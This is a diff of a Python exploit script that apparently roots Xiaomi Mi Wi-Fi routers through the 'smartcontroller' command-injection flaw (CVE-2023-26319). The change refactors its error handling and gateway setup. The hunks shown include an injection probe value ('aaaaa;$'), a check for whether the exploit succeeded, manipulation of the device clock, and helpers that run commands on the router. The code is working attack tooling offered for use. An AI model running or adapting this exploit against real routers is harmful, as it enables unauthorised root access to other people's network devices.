|
|
@ -17,32 +17,13 @@ import json
|
|
|
|
import xmir_base
|
|
|
|
import xmir_base
|
|
|
|
from gateway import *
|
|
|
|
from gateway import *
|
|
|
|
|
|
|
|
|
|
|
|
class ExploitError(Exception): pass
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
try:
|
|
|
|
gw = Gateway(timeout = 4, detect_ssh = False)
|
|
|
|
gw = inited_gw
|
|
|
|
if gw.status < 1:
|
|
|
|
except NameError:
|
|
|
|
die("Xiaomi Mi Wi-Fi device not found (IP: {})".format(gw.ip_addr))
|
|
|
|
gw = create_gateway(die_if_sshOk = True)
|
|
|
|
|
|
|
|
|
|
|
|
print("device_name =", gw.device_name)
|
|
|
|
|
|
|
|
print("rom_version = {} {}".format(gw.rom_version, gw.rom_channel))
|
|
|
|
|
|
|
|
print("mac address = {}".format(gw.mac_address))
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
dn = gw.device_name
|
|
|
|
|
|
|
|
gw.ssh_port = 22
|
|
|
|
|
|
|
|
ret = gw.detect_ssh(verbose = 1, interactive = True)
|
|
|
|
|
|
|
|
if ret == 23:
|
|
|
|
|
|
|
|
if gw.use_ftp:
|
|
|
|
|
|
|
|
die("Telnet and FTP servers already running!")
|
|
|
|
|
|
|
|
print("Telnet server already running, but FTP server not respond")
|
|
|
|
|
|
|
|
elif ret > 0:
|
|
|
|
|
|
|
|
die(0, "SSH server already installed and running")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
ccode = gw.device_info["countrycode"]
|
|
|
|
ccode = gw.device_info["countrycode"]
|
|
|
|
if ccode == "CN":
|
|
|
|
|
|
|
|
print('CountryCode = CN')
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
stok = gw.web_login()
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
# CVE-2023-26319 Note: https://blog.thalium.re/posts/rooting-xiaomi-wifi-routers/
|
|
|
|
# CVE-2023-26319 Note: https://blog.thalium.re/posts/rooting-xiaomi-wifi-routers/
|
|
|
|
|
|
|
|
|
|
|
@ -149,7 +130,7 @@ def exec_tiny_cmd(cmd, act_delay = 2):
|
|
|
|
code = dres['code']
|
|
|
|
code = dres['code']
|
|
|
|
except Exception:
|
|
|
|
except Exception:
|
|
|
|
if res == 'Internal Server Error':
|
|
|
|
if res == 'Internal Server Error':
|
|
|
|
die(f'Exploit "smartcontroller" not working! [{res}]')
|
|
|
|
raise ExploitNotWorked(f'Exploit "smartcontroller" not working! [{res}]')
|
|
|
|
raise ExploitError(f'Error on parse response for command "scene_setting" => {res}')
|
|
|
|
raise ExploitError(f'Error on parse response for command "scene_setting" => {res}')
|
|
|
|
if code != 0:
|
|
|
|
if code != 0:
|
|
|
|
raise ExploitError(f'Error on exec command "scene_setting" => {res}')
|
|
|
|
raise ExploitError(f'Error on exec command "scene_setting" => {res}')
|
|
|
@ -241,13 +222,13 @@ hackCheck = False
|
|
|
|
res = exec_smart_command("aaaaa;$", ignore_err_code = 2)
|
|
|
|
res = exec_smart_command("aaaaa;$", ignore_err_code = 2)
|
|
|
|
if isinstance(res, dict):
|
|
|
|
if isinstance(res, dict):
|
|
|
|
if res['msg'] != 'api not exists':
|
|
|
|
if res['msg'] != 'api not exists':
|
|
|
|
die(f'Smartcontroller return error: {res}')
|
|
|
|
raise ExploitNotWorked(f'Smartcontroller return error: {res}')
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
if 'Internal Server Error' in res:
|
|
|
|
if 'Internal Server Error' in res:
|
|
|
|
print(f'Detect using xiaoqiang "hackCheck" fix ;-)')
|
|
|
|
print(f'Detect using xiaoqiang "hackCheck" fix ;-)')
|
|
|
|
hackCheck = True
|
|
|
|
hackCheck = True
|
|
|
|
else:
|
|
|
|
else:
|
|
|
|
die(f'Smartcontroller return Error: {res}')
|
|
|
|
raise ExploitNotWorked(f'Smartcontroller return Error: {res}')
|
|
|
|
|
|
|
|
|
|
|
|
# get device orig system time
|
|
|
|
# get device orig system time
|
|
|
|
dst = gw.get_device_systime()
|
|
|
|
dst = gw.get_device_systime()
|
|
|
@ -291,7 +272,7 @@ gw.set_device_systime(dst, wait = False)
|
|
|
|
if not sc_activated:
|
|
|
|
if not sc_activated:
|
|
|
|
time.sleep(1)
|
|
|
|
time.sleep(1)
|
|
|
|
reset_smart_task()
|
|
|
|
reset_smart_task()
|
|
|
|
die('Exploit "smartcontroller" not working!!!')
|
|
|
|
raise ExploitNotWorked('Exploit "smartcontroller" not working!!!')
|
|
|
|
|
|
|
|
|
|
|
|
#print('Logger ...')
|
|
|
|
#print('Logger ...')
|
|
|
|
#res = exec_cmd("logger hello")
|
|
|
|
#res = exec_cmd("logger hello")
|
|
|
|